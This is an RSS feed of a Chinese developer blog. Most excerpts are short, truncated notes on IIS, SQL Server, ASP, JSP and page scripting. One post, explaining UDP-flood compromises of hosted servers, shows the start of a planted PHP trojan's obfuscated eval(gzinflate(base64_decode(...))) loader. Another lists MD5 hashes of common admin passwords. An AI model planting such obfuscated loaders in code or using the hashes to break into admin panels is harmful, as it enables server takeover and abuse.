<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[sshack的专栏]]></title><description><![CDATA[]]></description><link>https://blog.csdn.net/sshack</link><language>zh-cn</language><generator>https://blog.csdn.net/</generator><copyright><![CDATA[Copyright &copy; sshack]]></copyright><item><title><![CDATA[.html 映射到.net托管]]></title><link>https://blog.csdn.net/sshack/article/details/6100020</link><guid>https://blog.csdn.net/sshack/article/details/6100020</guid><author>sshack</author><pubDate>Mon, 27 Dec 2010 10:25:00 +0800</pubDate><description><![CDATA[IIS配置.html的映射问题，其实这个问题可以说是HttpHandlerFactory的在web.config中注册的问题 
问题描述：
     一套网站程序使用URL重写，配置了ISAPI映射.html 动作全部，检查文件是否存在 不打勾 如下图 




问题： 不对IIS配置.html的映射，IIS站点目录下.html页面都能显示。当配置了.html的映射 IIS站点目录下真实存在的.html页面无法显示，错误信息：“页面无法显示”而通过自定义HttpHandlerFactory块过]]></description><category></category></item><item><title><![CDATA[.NET LOCALSQLSERVER问题]]></title><link>https://blog.csdn.net/sshack/article/details/5956112</link><guid>https://blog.csdn.net/sshack/article/details/5956112</guid><author>sshack</author><pubDate>Thu, 21 Oct 2010 11:09:00 +0800</pubDate><description><![CDATA[<br /> 更改配置文件<br /><connectionStrings><br />    <remove name="LocalSqlServer" /><br />    <add name="LocalSqlServer" connectionString="server=.;uid=user;pwd=pwd;Trusted_Connection=yes;database=Enterprise" /><br />    </connectionStrings>]]></description><category></category></item><item><title><![CDATA[udp攻击的PHP木马]]></title><link>https://blog.csdn.net/sshack/article/details/5955670</link><guid>https://blog.csdn.net/sshack/article/details/5955670</guid><author>sshack</author><pubDate>Thu, 21 Oct 2010 08:44:00 +0800</pubDate><description><![CDATA[关于近期一些服务器遭受UDP攻击的说明<br />近来我有一两台服务器显示经常受到udp攻击<br />导致服务器带宽占用到100%，用华盾查流量占用也无法查到具体是哪个站被攻击了，起初以为是cc攻击，因为停止了iis带宽就为0了，其实不然，都是部分用户被入侵导致的<br />下面我想说一下被入侵的原理<br />用户程序中的一个php页面的原代码:<br /><?php<br />/*<br />gl<br /><br />*/<br />eval(gzinflate(base64_decode('DZN]]></description><category></category></item><item><title><![CDATA[MSSQL 2000更改表和存储过程的所有者 ]]></title><link>https://blog.csdn.net/sshack/article/details/5941326</link><guid>https://blog.csdn.net/sshack/article/details/5941326</guid><author>sshack</author><pubDate>Thu, 14 Oct 2010 17:34:00 +0800</pubDate><description><![CDATA[MSSQL 2000更改表和存储过程的所有者<br />更改存储过程的所有者：<br />declare tb cursor local for<br />select 'sp_changeobjectowner ''['+replace(user_name(uid),']',']]')+'].['<br />+replace(name,']',']]')+']'',''dbo'''<br />from sysobjects<br />where xtype in('U','V','P','TR','FN']]></description><category></category></item><item><title><![CDATA[MD5加密]]></title><link>https://blog.csdn.net/sshack/article/details/5927605</link><guid>https://blog.csdn.net/sshack/article/details/5927605</guid><author>sshack</author><pubDate>Fri, 08 Oct 2010 16:28:00 +0800</pubDate><description><![CDATA[<br />后台密码替换:<br />16位7a57a5a743894a0e<br />32位：21232f297a57a5a743894a0e4a801fc3<br />密码就是admin<br /><br /> 469e80d32c0559f8 <br />  那么密码就是admin888<br />123                ac59075b964b0715 <br />1234                52d04dc20036dbd8 <br />12345             ]]></description><category></category></item><item><title><![CDATA[网页黑白 ，悼念效果实现]]></title><link>https://blog.csdn.net/sshack/article/details/5509704</link><guid>https://blog.csdn.net/sshack/article/details/5509704</guid><author>sshack</author><pubDate>Wed, 21 Apr 2010 08:58:00 +0800</pubDate><description><![CDATA[在头部之间加HTML {    FILTER: progid:DXImageTransform.Microsoft.BasicImage(grayscale=1)}BODY {    FILTER: progid:DXImageTransform.Microsoft.BasicImage(grayscale=1)}]]></description><category></category></item><item><title><![CDATA[asp限制IP登陆]]></title><link>https://blog.csdn.net/sshack/article/details/5387753</link><guid>https://blog.csdn.net/sshack/article/details/5387753</guid><author>sshack</author><pubDate>Wed, 17 Mar 2010 09:45:00 +0800</pubDate><description><![CDATA[yourip=Request.ServerVariables("REMOTE_ADDR") if yourip="111.111.111.111" then Response.Redirect ("http://www.baidu.com") end if %>  Dim UserIP UserIP = Request.ServerVariables("Http_X_Forward]]></description><category></category></item><item><title><![CDATA[RewriteRule ]]></title><link>https://blog.csdn.net/sshack/article/details/5380588</link><guid>https://blog.csdn.net/sshack/article/details/5380588</guid><author>sshack</author><pubDate>Mon, 15 Mar 2010 09:53:00 +0800</pubDate><description><![CDATA[#test#RewriteRule /1test-([0-9,a-z]*).html /1test.asp/?inso=$1#RewriteRule /([0-9,a-z]*).html /shownews.asp/?id=$1RewriteRule /index.asp /index.Dhtml [L]#RewriteRule /index.htm /index.asp   [L]#映射*.as]]></description><category></category></item><item><title><![CDATA[SQL循环游标的使用]]></title><link>https://blog.csdn.net/sshack/article/details/5320427</link><guid>https://blog.csdn.net/sshack/article/details/5320427</guid><author>sshack</author><pubDate>Tue, 23 Feb 2010 17:48:00 +0800</pubDate><description><![CDATA[今天搞的，帮同事查询数据，先写个触发器，截取http://www.chinaroyalgroup.cn/aspnet_client/system_web/2_0_50727/dispbbs.asp?boardid=1&id=836里的域名IF EXISTS (SELECT name FROM sysobjects      WHERE name = gs_MySub AND type = ]]></description><category></category></item><item><title><![CDATA[数据库触发器例子]]></title><link>https://blog.csdn.net/sshack/article/details/5060125</link><guid>https://blog.csdn.net/sshack/article/details/5060125</guid><author>sshack</author><pubDate>Wed, 23 Dec 2009 09:03:00 +0800</pubDate><description><![CDATA[1.查询数据库里指定字段在哪个表里select namefrom sysobjects   where id in(select id from syscolumns where name=pl_pay_url)2.触发器，在插入的时候，更改某项字段的值CREATE TRIGGER  tt  ON [dbo].[p_emlmod] FOR INSERTASbegindeclar]]></description><category></category></item><item><title><![CDATA[浮动窗口]]></title><link>https://blog.csdn.net/sshack/article/details/4746446</link><guid>https://blog.csdn.net/sshack/article/details/4746446</guid><author>sshack</author><pubDate>Fri, 30 Oct 2009 10:00:00 +0800</pubDate><description><![CDATA[ 首页浮动窗口if piaofugg="1" thenLODO_INDEX_AD_FFWEB=""LODO_INDEX_AD_FFWEB=vbcrlf&""&vbcrlfLODO_INDEX_AD_FFWEB=LODO_INDEX_AD_FFWEB&""LODO_INDEX_AD_FFWEB=LODO_INDEX_AD_FFWEB&""&vbcrlfLODO_INDEX_AD_FFWEB]]></description><category></category></item><item><title><![CDATA[window open 弹出窗口方法]]></title><link>https://blog.csdn.net/sshack/article/details/4742085</link><guid>https://blog.csdn.net/sshack/article/details/4742085</guid><author>sshack</author><pubDate>Thu, 29 Oct 2009 11:28:00 +0800</pubDate><description><![CDATA[ 【1、最基本的弹出窗口代码】 其实代码非常简单：  因为这是一段javascripts代码，所以它们应该放在标签和之间。是对一些版本低的浏览器起作用，在这些老浏 览器中不会将标签中的代码作为文本显示出来。要养成这个好习惯啊。 window.open (page.html) 用于控制弹出新的窗口page.html，如果page.html不与主窗口]]></description><category></category></item><item><title><![CDATA[伸收广告]]></title><link>https://blog.csdn.net/sshack/article/details/4741956</link><guid>https://blog.csdn.net/sshack/article/details/4741956</guid><author>sshack</author><pubDate>Thu, 29 Oct 2009 11:12:00 +0800</pubDate><description><![CDATA[ if shensuogg="1" thenLODO_INDEX_AD_STRETCH="" LODO_INDEX_AD_STRETCH="" LODO_INDEX_AD_STRETCH=LODO_INDEX_AD_STRETCH&"var STime="&ggSecond&";" LODO_INDEX_AD_STRETCH=LODO_INDEX_AD_STRETCH&"document.]]></description><category></category></item><item><title><![CDATA[常用Request.ServerVariables()]]></title><link>https://blog.csdn.net/sshack/article/details/4711944</link><guid>https://blog.csdn.net/sshack/article/details/4711944</guid><author>sshack</author><pubDate>Thu, 22 Oct 2009 10:08:00 +0800</pubDate><description><![CDATA[Request.ServerVariables("REMOTE_ADDR")         获取访问IPRequest.ServerVariables("LOCAL_ADDR")             同上Request.ServerVariables("SERVER_NAME")         获取服务器IPRequest.ServerVariables("HTTP_REFERER"]]></description><category></category></item><item><title><![CDATA[word里面的换行符如何用明文表示 ]]></title><link>https://blog.csdn.net/sshack/article/details/4445325</link><guid>https://blog.csdn.net/sshack/article/details/4445325</guid><author>sshack</author><pubDate>Fri, 14 Aug 2009 09:34:00 +0800</pubDate><description><![CDATA[换行符是 ^p,手动换行符是^l 在进行查找替换的时候，这两个明文很有用的 ]]></description><category></category></item><item><title><![CDATA[C++]]></title><link>https://blog.csdn.net/sshack/article/details/4412934</link><guid>https://blog.csdn.net/sshack/article/details/4412934</guid><author>sshack</author><pubDate>Wed, 05 Aug 2009 16:45:00 +0800</pubDate><description><![CDATA[虚函数：如果你预期派生类有可能重新定义某一个成员函数，那么你就在基类中把此函数设为virual.多态：以相同的指令却调用了不同的函数。static成员：static成员变量不属于对象的一部分，而是类的一部分。在类以外的位置设定其初值。]]></description><category></category></item><item><title><![CDATA[Oracle的卸载]]></title><link>https://blog.csdn.net/sshack/article/details/4100537</link><guid>https://blog.csdn.net/sshack/article/details/4100537</guid><author>sshack</author><pubDate>Wed, 22 Apr 2009 15:17:00 +0800</pubDate><description><![CDATA[    (1)、开始－＞设置－＞控制面板－＞管理工具－＞服务       停止所有Oracle服务。    (2)、开始－＞程序－＞Oracle - OraHome81－＞Oracle Installation Products－＞Universal Installer 卸装所有Oracle产品    (3)、运行regedit，选择HKEY_LOCAL_MACHINE/SOFTWARE/]]></description><category></category></item><item><title><![CDATA[iframe自适应高度]]></title><link>https://blog.csdn.net/sshack/article/details/4088219</link><guid>https://blog.csdn.net/sshack/article/details/4088219</guid><author>sshack</author><pubDate>Fri, 17 Apr 2009 19:47:00 +0800</pubDate><description><![CDATA[ 搞了半天了 终于使IFRAME的高度不影响原来页面的效果了 ，下面是IFRAME代码 ，增加ONLOAD 就行。" scrolling="no" frameborder=0 id="teacheroperation" name="teacheroperation" class=efoundiframe width="770"  onload="document.all(teache]]></description><category></category></item><item><title><![CDATA[数据库分页]]></title><link>https://blog.csdn.net/sshack/article/details/4036301</link><guid>https://blog.csdn.net/sshack/article/details/4036301</guid><author>sshack</author><pubDate>Mon, 30 Mar 2009 16:08:00 +0800</pubDate><description><![CDATA[SQl server分页: select top 10 * form table1 where indexID not in (select top 20 indexID from table1 ) Oracle分页: select * from(select rownum r,* from(select * from table1) where rownum10 MySQL分页 select *]]></description><category></category></item><item><title><![CDATA[JSP连接数据库方法大全]]></title><link>https://blog.csdn.net/sshack/article/details/4036262</link><guid>https://blog.csdn.net/sshack/article/details/4036262</guid><author>sshack</author><pubDate>Mon, 30 Mar 2009 15:58:00 +0800</pubDate><description><![CDATA[ 一、jsp连接Oracle8/8i/9i数据库（用thin模式） testoracle.jsp如下：  .sql.*"%>   String URL="jdbc:oracle:thin:@localhost:1521:orcl"; //orcl为你的数据库的SID String user="scott"; String password="tiger"; Connection  conn= ]]></description><category></category></item></channel></rss>